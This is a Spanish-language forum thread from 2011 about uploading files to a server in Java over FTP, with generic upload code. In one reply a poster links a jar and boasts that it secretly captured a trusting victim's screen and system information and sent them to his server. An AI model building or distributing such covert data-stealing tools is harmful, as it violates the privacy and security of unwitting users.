elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java (Moderadores: Debci, Leyer)
| | | |-+  Subir archivos a un servidor con java
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Subir archivos a un servidor con java  (Leído 5,234 veces)
danielo-

Desconectado Desconectado

Mensajes: 218


la crisis esta pasando :)


Ver Perfil
Subir archivos a un servidor con java
« en: 20 Junio 2011, 00:13 »

Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)


En línea

Debci
Moderador
***
Desconectado Desconectado

Mensajes: 2.019


Actualizate o muere!


Ver Perfil WWW
Re: Subir archivos a un servidor con java
« Respuesta #1 en: 20 Junio 2011, 07:53 »

Hola a todos, estoy intentando subir archivos a un servidor web utilizando java y no e tenido exito, lo e intentado con applets, usando los paquetes nativos, usando paquetes externos, intentando implementar jsp y no e tenido exito, si alguien pudiera ayudarme para hacer esto se lo agradecería mucho, llevo todo el día intentadolo =)
De que dispone tu servidor?
Si tiene FTP es muy sencillo, aunque si no lo tiene yo reconsideraría instalarlo.

Especificanos que es lo que cuentas y te podremos orientar.

Un saludo


En línea

danielo-

Desconectado Desconectado

Mensajes: 218


la crisis esta pasando :)


Ver Perfil
Re: Subir archivos a un servidor con java
« Respuesta #2 en: 21 Junio 2011, 00:56 »

Si, si tiene ftp =)...
En línea

Darhius


Desconectado Desconectado

Mensajes: 1.177


Ver Perfil
Re: Subir archivos a un servidor con java
« Respuesta #3 en: 22 Junio 2011, 05:37 »

algo como esto?

http://www.mediafire.com/?sf0os8nyo9453qb



Esa captura es de alguien que con mucha confianza ejecutó el test.jar

Lo que hace es capturar pantalla, obtener informacion del equipo y subirla a un servidor x LOL

Se que los .class se pueden decompilar así que no me iba a arriesgar a colocar el nombre de mi servidor xD muahahaha.


El código para subir un archivo es el siguiente.

Código
  1. public void subir(String ftpServer, String user, String password, String fileName, File source ) throws MalformedURLException, IOException {
  2.      if (ftpServer != null && fileName != null && source != null) {
  3.         StringBuffer sb = new StringBuffer( "ftp://" );
  4.         if (user != null && password != null) {
  5.            sb.append( user );
  6.            sb.append( ':' );
  7.            sb.append( password );
  8.            sb.append( '@' );
  9.         }
  10.         sb.append( ftpServer );
  11.         sb.append( '/' );
  12.         sb.append( fileName );
  13.         sb.append( ";type=i" );
  14.  
  15.         BufferedInputStream bis = null;
  16.         BufferedOutputStream bos = null;
  17.         try {
  18.            URL url = new URL( sb.toString() );
  19.            URLConnection urlc = url.openConnection();
  20.  
  21.            bos = new BufferedOutputStream( urlc.getOutputStream() );
  22.            bis = new BufferedInputStream( new FileInputStream( source ) );
  23.  
  24.            int i;
  25.            while ((i = bis.read()) != -1) {
  26.               bos.write( i );
  27.            }
  28.         }
  29.         finally {
  30.            if (bis != null)
  31.               try {
  32.                  bis.close();
  33.               }
  34.               catch (IOException ioe) {
  35.                  ioe.printStackTrace();
  36.               }
  37.            if (bos != null)
  38.               try {
  39.                  bos.close();
  40.               } catch (IOException ioe) {
  41.                  ioe.printStackTrace();
  42.                 }
  43.         }
  44.      } else {
  45.         System.out.println( "Input not available." );
  46.       }
  47.   }
  48.  


Saludos.

« Última modificación: 22 Junio 2011, 15:17 por Darhius » En línea

abc
danielo-

Desconectado Desconectado

Mensajes: 218


la crisis esta pasando :)


Ver Perfil
Re: Subir archivos a un servidor con java
« Respuesta #4 en: 23 Junio 2011, 06:14 »

... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...
« Última modificación: 23 Junio 2011, 06:23 por danyelk_6u5 » En línea

Darhius


Desconectado Desconectado

Mensajes: 1.177


Ver Perfil
Re: Subir archivos a un servidor con java
« Respuesta #5 en: 23 Junio 2011, 06:51 »

... Si, algo como eso, sin embargo buscaba que fuera sin usar el ftp...

Entonces di que buscas para poder ayudarte.
En línea

abc
athlit

Desconectado Desconectado

Mensajes: 77



Ver Perfil
Re: Subir archivos a un servidor con java
« Respuesta #6 en: 24 Julio 2011, 12:31 »

Mediante sockets? Con un puerto a la escucha permanentemente (yo lo haría por FTP ya que al fin y al cabo viene a ser lo mismo).

Otra cosa que se me ocurre si no lo quieres hacerlo por FTP y tampoco quieres hacerlo por sockets, es creando un Servlet en el servidor y enviando el archivo a este Servlet. Esto requiere tener instalado un contenedor web como por ejemplo, Tomat.

Un saludo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Subir archivos a servidor Linux
Programación Visual Basic
pandemonio 3 1,004 Último mensaje 6 Septiembre 2006, 21:45
por JanditoOo
Manual subir archivos (servidor microsoft)
Tutoriales - Documentación
hadrianweb 5 3,621 Último mensaje 6 Abril 2008, 18:07
por migracho
Subir archivos al servidor localhost
PHP
danipena78 4 3,632 Último mensaje 4 Julio 2011, 17:21
por RedZer
Subir archivos a un servidor parallels plesk con php
Desarrollo Web
Zeroql 0 1,250 Último mensaje 2 Noviembre 2011, 14:30
por Zeroql
servidor para subir y descargar archivos a pequeña escala para prototipo
Redes
aztecashflow 1 1,252 Último mensaje 23 Enero 2012, 20:58
por el-brujo
Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines